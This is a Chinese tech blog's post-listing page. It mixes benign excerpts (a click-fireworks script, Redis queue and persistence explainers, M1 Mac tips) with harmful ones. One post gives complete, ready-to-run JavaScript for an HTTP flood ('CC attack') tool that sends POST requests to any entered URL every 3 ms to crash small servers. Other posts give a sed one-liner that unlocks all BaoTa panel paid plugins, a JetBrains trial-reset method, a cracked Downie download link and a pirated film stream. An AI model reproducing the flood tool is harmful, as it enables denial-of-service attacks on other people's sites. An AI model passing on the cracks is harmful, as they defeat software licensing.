首页
关于
留言
友链
电台
壁纸
我的足迹
推荐
知易而行MCP
Search
1
乐橙CMS影视管理系统最全版本
109,277 阅读
2
VIP视频解析破解电影解析模拟破解影视解析
77,795 阅读
3
乐橙CMS影视管理系统4.0.18版本
16,934 阅读
4
新浪图片链接修复教程集合
15,125 阅读
5
反调试代码调试死机代码禁止F12代码
12,093 阅读
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
知易而行
登录
Search
标签搜索
PHP
AI
LINUX
微信
MYSQL
OpenClaw
ESP32S3
小智AI
P2P
JS
破解
乐橙cms
支付
uniapp
人工智能
技术趋势
智能玩具
公众号
typecho
xshell
子沐~
累计撰写
121
篇文章
累计收到
372
条评论
首页
栏目
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
知易而行
页面
关于
留言
友链
电台
壁纸
我的足迹
推荐
知易而行MCP
搜索到
121
篇与
的结果
2021-04-11
为你的网站添加点击散开特效
<canvas id="fireworks" style="position: fixed; left: 0px; top: 0px; pointer-events: none; z-index: 2147483647; width: 1920px; height: 151px;" width="3840" height="302"></canvas> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/animejs@3.0.1/lib/anime.min.js"></script> <script type="text/javascript"> function updateCoords(e) { pointerX = (e.clientX || e.touches[0].clientX) - canvasEl.getBoundingClientRect().left, pointerY = e.clientY || e.touches[0].clientY - canvasEl.getBoundingClientRect().top } function setParticuleDirection(e) { var t = anime.random(0, 360) * Math.PI / 180, a = anime.random(50, 180), n = [-1, 1][anime.random(0, 1)] * a; return { x: e.x + n * Math.cos(t), y: e.y + n * Math.sin(t) } } function createParticule(e, t) { var a = {}; return a.x = e, a.y = t, a.color = colors[anime.random(0, colors.length - 1)], a.radius = anime.random(16, 32), a.endPos = setParticuleDirection(a), a.draw = function() { ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.fillStyle = a.color, ctx.fill() }, a } function createCircle(e, t) { var a = {}; return a.x = e, a.y = t, a.color = "#F00", a.radius = .1, a.alpha = .5, a.lineWidth = 6, a.draw = function() { ctx.globalAlpha = a.alpha, ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.lineWidth = a.lineWidth, ctx.strokeStyle = a.color, ctx.stroke(), ctx.globalAlpha = 1 }, a } function renderParticule(e) { for (var t = 0; t < e.animatables.length; t++) e.animatables[t].target.draw() } function animateParticules(e, t) { for (var a = createCircle(e, t), n = [], i = 0; i < numberOfParticules; i++) n.push(createParticule(e, t)); anime.timeline().add({ targets: n, x: function(e) { return e.endPos.x }, y: function(e) { return e.endPos.y }, radius: .1, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule }).add({ targets: a, radius: anime.random(80, 160), lineWidth: 0, alpha: { value: 0, easing: "linear", duration: anime.random(600, 800) }, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule, offset: 0 }) } function debounce(fn, delay) { var timer return function() { var context = this var args = arguments clearTimeout(timer) timer = setTimeout(function() { fn.apply(context, args) }, delay) } } var canvasEl = document.querySelector("#fireworks"); if (canvasEl) { var ctx = canvasEl.getContext("2d"), numberOfParticules = 30, pointerX = 0, pointerY = 0, tap = "mousedown", colors = ["#FF1461", "#18FF92", "#5A87FF", "#FBF38C"], setCanvasSize = debounce(function() { canvasEl.width = 2 * window.innerWidth, canvasEl.height = 2 * window.innerHeight, canvasEl.style.width = window.innerWidth + "px", canvasEl.style.height = window.innerHeight + "px", canvasEl.getContext("2d").scale(2, 2) }, 500), render = anime({ duration: 1 / 0, update: function() { ctx.clearRect(0, 0, canvasEl.width, canvasEl.height) } }); document.addEventListener(tap, function(e) { "sidebar" !== e.target.id && "toggle-sidebar" !== e.target.id && "A" !== e.target.nodeName && "IMG" !== e.target.nodeName && (render.play(), updateCoords(e), animateParticules(pointerX, pointerY)) }, !1), setCanvasSize(), window.addEventListener("resize", setCanvasSize, !1) } </script>
2021年04月11日
1,460 阅读
0 评论
1 点赞
2021-04-11
使用JS实现CC网站攻击
今天兴趣来潮,使用原生js写了一个cc攻击,当然只是简单的写一下,对小服务器来说,可以轻松的压出502,服务器牛逼的话,没什么效果,比如本站就是小服务器,cc压下就502了,下面是源码,仅供学习使用.<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { display: flex; align-items: center; justify-content: center; } input { height: 35px; padding: 0 10px; box-sizing: border-box; outline: none; } </style> </head> <body> <input type="text" placeholder="请输入需要被CC的网址" style="margin-right: 10px" /> <input type="button" value="开始" /> <script> let timer = null; const input = document.querySelector('input[type="text"]'); const button = document.querySelector('input[type="button"]'); button.addEventListener('click', function () { const url = input.value; if (!url) return alert('请输入需要被压的域名'); if (!url.startsWith('http')) return alert('请输入http或https开头的网址'); if (this.value === '开始') { this.value = '停止'; timer = setInterval(() => { const xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('name=name'); }, 3); } else { this.value = '开始'; clearInterval(timer); } }); </script> </body> </html>
2021年04月11日
1,239 阅读
0 评论
1 点赞
2021-04-11
Redis异步队列与延时队列如何实现
消息中间件,大家都会想到 Rabbitmq 和 Kafka 作为消息队列中间件,来给应用程序之间增加异步消息传递功能。这两个中间件都是专业的消息队列中间件,特性之多超出了大多数人的理解能力。但是这种属于重量级的应用,使用比较麻烦点。如果是轻量级的,使用 Redis就可以。比如对于那些只有一组消费者的消息队列,使用 Redis 就可以非常轻松的搞定。Redis 的消息队列不是专业的消息队列,它没>有非常多的高级特性,没有 ack 保证,如果对消息的可靠性没有极致的要求,那么它可以拿来使用。异步消息队列Redis 的 list(列表) 数据结构常用来作为异步消息队列使用,使用rpush/lpush操作入队列,使用lpop 和 rpop来出队列。rpush 和 lpop 结合 或者lpush 和rpop 结合;客户端是通过队列的 pop 操作来获取消息,然后进行处理。处理完了再接着获取消息,再进行处理。如此循环往复,这便是作为队列消费者的客户端的生命周期。问题来了可是如果队列空了,客户端就会陷入 pop 的死循环,不停地 pop,没有数据,接着再 pop,又没有数据。这就是浪费生命的空轮询。空轮询不但拉高了客户端的 CPU,redis 的 QPS 也会被拉高,如果这样空轮询的客户端有几十来个,Redis 的慢查询可能会显著增多。 通常我们使用 sleep 来解决这个问题,让线程睡一会,睡个 1s 钟就可以了。不但客户端的 CPU 能降下来,Redis 的 QPS 也降下来了。新的问题:用上面睡眠的办法可以解决问题。但是有个小问题,那就是睡眠会导致消息的延迟增大。如果只有 1 个消费者,那么这个延迟就是 1s。如果有多个消费者,这个延迟会有所下降,因为每个消费者的睡觉时间是岔开来的。 有没有什么办法能显著降低延迟呢?你当然可以很快想到:那就把睡觉的时间缩短点。这种方式当然可以,不过有没有更好的解决方案呢?当然也有,那就是 blpop/brpop。这两个指令的前缀字符b代表的是blocking,也就是阻塞读。阻塞读在队列没有数据的时候,会立即进入休眠状态,一旦数据到来,则立刻醒过来。消息的延迟几乎为零。用blpop/brpop替代前面的lpop/rpop,就完美解决了上面的问题。问题喋喋不休:空闲连接自动断开 你以为上面的方案真的很完美么?先别急着开心,其实他还有个问题需要解决。什么问题?—— 空闲连接的问题。 如果线程一直阻塞在哪里,Redis 的客户端连接就成了闲置连接,闲置过久,服务器一般会主动断开连接,减少闲置资源占用。这个时候blpop/brpop会抛出异常来。所以编写客户端消费者的时候要小心,注意捕获异常,还要重试。消息延时队列延时队列可以通过 Redis 的 zset(有序列表) 来实现。我们将消息序列化成一个字符串作为 zset 的value,这个消息的到期处理时间作为score,然后用多个线程轮询 zset 获取到期的任务进行处理,多个线程是为了保障可用性,万一挂了一个线程还有其它线程可以继续处理。因为有多个线程,所以需要考虑并发争抢任务,确保任务不能被多次执行。 Redis 的 zrem 方法是多线程多进程争抢任务的关键,它的返回值决定了当前实例有没有抢到任务,因为 loop 方法可能会被多个线程、多个进程调用,同一个任务可能会被多个进程线程抢到,通过 zrem 来决定唯一的属主。同时,我们要注意一定要对 handle_msg 进行异常捕获,避免因为个别任务处理问题导致循环异常退出。问题来了:同一个任务可能会被多个进程取到之后再使用 zrem 进行争抢,那些没抢到的进程都是白取了一次任务,这是浪费。解决办法:Lua是Redis内置脚本,执行Lua脚本时,Redis线程会依次执行脚本中的语句,对于客户端来说操作是原子性的,将 zrangebyscore 和 zrem 一同挪到服务器端进行原子化操作,这样多个进程之间争抢任务时就不会出现这种浪费了。
2021年04月11日
991 阅读
0 评论
2 点赞
2021-04-11
ARM M1 芯片的 Macs 常见问题的解决方法
购买 ARM 架构 M1 芯片的小伙伴们可能会遇到一些异常情况,本文将一些常见的问题进行了整理并附带了解决方法,希望对大家有所帮助。安装异常1.下载本站软件安装时可能会遇到一些异常,下面是几种情况的解决方法。提示 zsh: bad CPU type in executable:xxx。这是因为你电脑没有安装 Rosetta 2,打开终端,然后执行一下以下命>令安装一下即可解决。/usr/sbin/softwareupdate --install-rosetta --agree-to-license提示 zsh: no such file or directory: Volumes/xxxx/安装。这通常是因为您安装了 Oh My Zsh 但是没有更新用>户配置环境导致的。打开终端,然后执行一下以下命令,执行完成退出终端然后再重新运行一下终端让其生效即可。PATH=/bin:/usr/bin:/usr/local/bin:${PATH} 应用运行闪退具体表现如下图:1.打开访达,进行应用程序目录,找到闪退的应用,在应用图标上右键,然后点击显示简介2.勾选 使用 Rosetta 打开如果没有这个选项的的话,打开终端执行以下命令安装一下即可:/usr/sbin/softwareupdate --install-rosetta --agree-to-licenseARM M1 如何关闭 SIP?1.关机2.按住开机键不松手直到出现下图的画面,然后点击 选项 3.点击 继续 4.点击菜单栏的 实用工具 ,再点击 终端 5.输入 csrutil disable ,然后按下回车也就是 return 键6.输入y,然后按下回车也就是 return 键7.输入您的电脑密码,然后按下回车也就是 return 键8.等待执行结果……9.出现 System Integrity Protection is off . 证明 SIP 已成功关闭。10.输入 reboot 然后按下回车也就是 return 键重启电脑即可11.如果后期想再开启 SIP,只需要将上面第 5 步的 csrutil disable 换成 csrutil enable 即可
2021年04月11日
1,118 阅读
0 评论
1 点赞
2021-04-11
JetBrains全系列软件激活教程激活码以及JetBrains系列软件汉化包
JetBrains全系列软件激活教程,共有两种方法,喜欢哪种用哪种。另外附上JetBrains系列软件的汉化包以及中文设置教程,希望大家喜欢。永久激活的工具 zhile 的大神已经不再继续开发维护了,此方法一直是跳转到 zhili 的主页,但是经常遇到反馈说目标网站>打不开或者不知道怎么安装插件的问题,所以直接转到这个页面并配一下操作图片吧。另外目前只有这种无限重置试用的方法了,支持 JetBrains 系列软件的所有新旧版本的激活!!!MacWk.com 建议大家去 JetBrains官网 下载JetBrains系列工具的官方版,一般情况下载很快的。此方法也适用于 Windows。Jetbrains 家的产品有一个很良心的地方,他会允许你试用 30 天(这个数字写死在代码里了)以评估是否你真的需要为它而付费。 但很多时候会出现一种情况:IDE 并不能按照我们实际的试用时间来计算。 我举个例子:如果我们开始了试用,然后媳妇生孩子要你回去陪产!陪产时我们并无空闲对IDE试用评估,它依旧算试用时间。(只是举个例子,或许你并没有女朋友)发现了吗?你未能真的有 30 天来对它进行全面的试用评估,你甚至无法作出是否付费的决定。此时你会想要延长试用时间,然而 Jetbrains 并未提供相关功能,该怎么办?事实上有一款插件可以实现这个功能,你或许可以用它来重置一下试用时间。但切记不要无休止的一直试用,这并不是这个插件的初衷!如何安装提供以下两种方法,二选一即可。插件市场安装:在 Settings/Preferences... -> Plugins 内手动添加第三方插件仓库地址:https://plugins.zhile.io 搜索:IDE Eval Reset 插件进行安装。手动下载安装:点击这个链接(v2.1.13)下载插件的 zip 包(macOS可能会自动解压,切记使用的是 zip 包,不是解压后的文件夹!),然>后打开 Settings/Preferences... -> Plugins 手动安装插件。如何使用一般来说,在 IDE 窗口切出去或切回来时(窗口失去/得到焦点)会触发事件,检测是否长时间(25天)没有重置,给通知让你选择。(初次安装因为无法获取上次重置时间,会直接给予提示)。您也可以手动唤出插件的主界面:a. 如果 IDE 没有打开项目,在 Welcome 界面点击 IDE 的菜单:Get Help -> Eval Resetb. 如果 IDE 打开了项目,点击 IDE 的菜单:Help -> Eval Reset唤出的插件主界面中包含了一些显示信息,有 2 个按钮和 1 个勾选项:按钮:Reload 用来刷新界面上的显示信息。按钮:Reset 点击会询问是否重置试用信息并重启 IDE。选择 Yes 则执行重置操作并重启 IDE 生效,选择 No 则什么也不做。(此为手动重置方式)勾选项:Auto reset before per restart 如果勾选了,则自勾选后每次重启/退出 IDE 时会自动重置试用信息,你无需做额外的事情。(此为自动重置方式,推荐此方法!)如何更新插件更新机制(推荐):IDE 会自行检测其自身和所安装插件的更新并给予提示。如果本插件有更新,你会收到提示看到更新日志,自行选择是否更新。点击 IDE 的 Check for Updates... 菜单手动检测 IDE 和所安装插件的更新。如果本插件有更新,你会收到提示看到更新日志,自行选择是否更新。插件更新可能会需要重启IDE。手动更新:从本页面下载最新的插件 zip 包安装更新。插件更新需要重启IDE。
2021年04月11日
1,582 阅读
1 评论
1 点赞
2021-04-10
刺杀小说家高清播放
导演: 路阳编剧: 陈舒 / 禹扬 / 秦海燕 / 路阳主演: 雷佳音 / 杨幂 / 董子健 / 于和伟 / 郭京飞 / 更多...类型: 动作 / 奇幻 / 冒险制片国家/地区: 中国大陆语言: 汉语普通话上映日期: 2021-02-12(中国大陆)片长: 130分钟简介:异世界皇都,天神赤发鬼残暴统治,滥杀无辜。少年空文因被赤发鬼追杀,决定奋起反击。在黑甲(郭京飞 饰)的指引下,踏上了凡人弑神之路。这是小说家路空文(董子健 饰)笔下的奇幻世界。没想到小说的进程,竟然影响着现实世界。这时一名男子(雷佳音 饰)接下了刺杀他的任务……[dplayer src="https://vod3.buycar5.cn/20210409/jyvh1E3q/index.m3u8"/]
2021年04月10日
1,155 阅读
0 评论
0 点赞
2021-04-10
Redis中两种持久化机制RDB和AOF,工作上常用到
众所周知,Redis是一个内存数据库。但它与其它内存数据库(如memcache)等有一个很大的区别,就是Redis可以持久化到磁盘。有了持久化方案,Redis就可以对数据进行备份、恢复、复制。Redis提供了两种持久化方案:RDB和AOF。在Redis 4.0中,提供了一个新特性:两者的混合持久化。下面将介绍Redis的各种持久化方案的原理和配置。1.RDB持久化RDB持久化是把当前进程数据生成快照保存到硬盘的过程,触发RDB持久化过程分为手动触发和自动触发。1)触发机制手动触发分别对应save和bgsave命令。save命令:阻塞当前Redis服务器,直到RDB过程完成为止,对于内存 比较大的实例会造成长时间阻塞,线上环境不建议使用。bgsave命令:Redis进程执行fork操作创建子进程,RDB持久化过程由子 进程负责,完成后自动结束。阻塞只发生在fork阶段,一般时间很短。2)自动触发RDB的持久1)使用save相关配置,如“save m n”。表示m秒内数据集存在n次修改 时,自动触发bgsave。2)如果从节点执行全量复制操作,主节点自动执行bgsave生成RDB文件并发送给从节点,更多细节见6.3节介绍的复制原理。3)执行debug reload命令重新加载Redis时,也会自动触发save操作。4)默认情况下执行shutdown命令时,如果没有开启AOF持久化功能则 自动执行bgsave。bgsave是主流的触发RDB持久化方式1)执行bgsave命令,Redis父进程判断当前是否存在正在执行的子进 程,如RDB/AOF子进程,如果存在bgsave命令直接返回。2)父进程执行fork操作创建子进程,fork操作过程中父进程会阻塞,通 过info stats命令查看latest_fork_usec选项,可以获取最近一个fork操作的耗时,单位为微秒3)父进程fork完成后,bgsave命令返回“Background saving started”信息并不再阻塞父进程,可以继续响应其他命令。4)子进程创建RDB文件,根据父进程内存生成临时快照文件,完成后 对原有文件进行原子替换。执行lastsave命令可以获取最后一次生成RDB的 时间,对应info统计的rdb_last_save_time选项。5)进程发送信号给父进程表示完成,父进程更新统计信息,具体见 info Persistence下的rdb_*相关选项。RDB文件的处理保存:RDB文件保存在dir配置指定的目录下,文件名通过dbfilename配 置指定。可以通过执行config set dir{newDir}和config set dbfilename{newFileName}运行期动态执行,当下次运行时RDB文件会保存到新目录。RDB的优缺点RDB的优点:1 RDB是一个紧凑压缩的二进制文件,代表Redis在某个时间点上的数据 快照。非常适用于备份,全量复制等场景。比如每6小时执行bgsave备份, 并把RDB文件拷贝到远程机器或者文件系统中(如hdfs),用于灾难恢复。2 Redis加载RDB恢复数据远远快于AOF的方式。RDB的缺点:1)RDB方式数据没办法做到实时持久化/秒级持久化。因为bgsave每次运 行都要执行fork操作创建子进程,属于重量级操作,频繁执行成本过高。2)RDB文件使用特定二进制格式保存,Redis版本演进过程中有多个格式 的RDB版本,存在老版本Redis服务无法兼容新版RDB格式的问题。针对RDB不适合实时持久化的问题,Redis提供了AOF持久化方式来解决。2.AOF持久化AOF(append only file)持久化:以独立日志的方式记录每次写命令, 重启时再重新执行AOF文件中的命令达到恢复数据的目的。AOF的主要作用 是解决了数据持久化的实时性,目前已经是Redis持久化的主流方式。1)使用AOF开启AOF功能需要设置配置:appendonly yes,默认不开启。AOF文件名 通过appendfilename配置设置,默认文件名是appendonly.aof。保存路径同 RDB持久化方式一致,通过dir配置指定。AOF的工作流程操作:命令写入 (append)、文件同步(sync)、文件重写(rewrite)、重启加载 (load)1)所有的写入命令会追加到aof_buf(缓冲区)中。2)AOF缓冲区根据对应的策略向硬盘做同步操作。AOF为什么把命令追加到aof_buf中?Redis使用单线程响应命令,如 果每次写AOF文件命令都直接追加到硬盘,那么性能完全取决于当前硬盘负 载。先写入缓冲区aof_buf中,还有另一个好处,Redis可以提供多种缓冲区同步硬盘的策略,在性能和安全性方面做出平衡3)随着AOF文件越来越大,需要定期对AOF文件进行重写,达到压缩的目的。重写后的AOF文件为什么可以变小?有如下原因:1 进程内已经超时的数据不再写入文件。2 旧的AOF文件含有无效命令,如del key1、hdel key2、srem keys、set a111、set a222等。重写使用进程内数据直接生成,这样新的AOF文件只保留最终数据的写入命令。3 多条写命令可以合并为一个,如:lpush list a、lpush list b、lpush list c可以转化为:lpush list a b c。为了防止单条命令过大造成客户端缓冲区溢 出,对于list、set、hash、zset等类型操作,以64个元素为界拆分为多条。AOF重写降低了文件占用空间,除此之外,另一个目的是:更小的AOF 文件可以更快地被Redis加载AOF重写过程可以手动触发和自动触发:手动触发:直接调用bgrewriteaof命令。自动触发:根据auto-aof-rewrite-min-size和auto-aof-rewrite-percentage参数确定自动触发时机。auto-aof-rewrite-min-size:表示运行AOF重写时文件最小体积,默认 为64MB。auto-aof-rewrite-percentage:代表当前AOF文件空间 (aof_current_size)和上一次重写后AOF文件空间(aof_base_size)的比值。自动触发时机=aof_current_size>auto-aof-rewrite-minsize&&(aof_current_size-aof_base_size)/aof_base_size>=auto-aof-rewritepercentage。其中aof_current_size和aof_base_size可以在info Persistence统计信息中查看。4)当Redis服务器重启时,可以加载AOF文件进行数据恢复。流程说明:1)AOF持久化开启且存在AOF文件时,优先加载AOF文件,打印如下日志:DB loaded from append only file: 5.841 seconds2)AOF关闭或者AOF文件不存在时,加载RDB文件,打印如下日志:DB loaded from disk: 5.586 seconds3)加载AOF/RDB文件成功后,Redis启动成功。4)AOF/RDB文件存在错误时,Redis启动失败并打印错误信息。
2021年04月10日
848 阅读
0 评论
1 点赞
2021-04-09
破解宝塔所有插件只需一句代码即可
1.首先安装好宝塔面板2.找到文件/www/server/panel/data/plugin.json批量替换 "endtime": -1为"endtime": 9999999999999sed 's/\"endtime\": -1/\"endtime\": 9999999999999/g' /www/server/panel/data/plugin.json
2021年04月09日
1,311 阅读
2 评论
1 点赞
2021-04-09
Downie 4.2.2 (4235) 中文破解版 (最好的视频下载器)
Downie for Mac 是一款Mac OS平台上最好用的Mac视频下载工具,Downie for mac 破解版支持1000多个不同的视频网站,支持国内的优酷、腾讯视频、bilibili、土豆、爱奇艺、网易、搜狐、微博以及国外的Youtube等在线视频网站视频下载,功能强大使用简单安装完运行后 千万要取消自动更新!!!千万要取消自动更新!!!千万要取消自动更新!!!千万要取消自动更新!!!千万要取消自动更新!!!,不然有新版本自动更新了后破解就失效了。https://cdn.jsdelivr.net/gh/junjun110/imgStorage@master/img/Downie_4_4.2.2.dmg.zip
2021年04月09日
1,470 阅读
2 评论
1 点赞
2021-01-27
jquery 设置缓存 解决ajax请求 js被添加时间戳问题
暂无简介
2021年01月27日
1,162 阅读
0 评论
1 点赞
1
...
3
4
5
...
13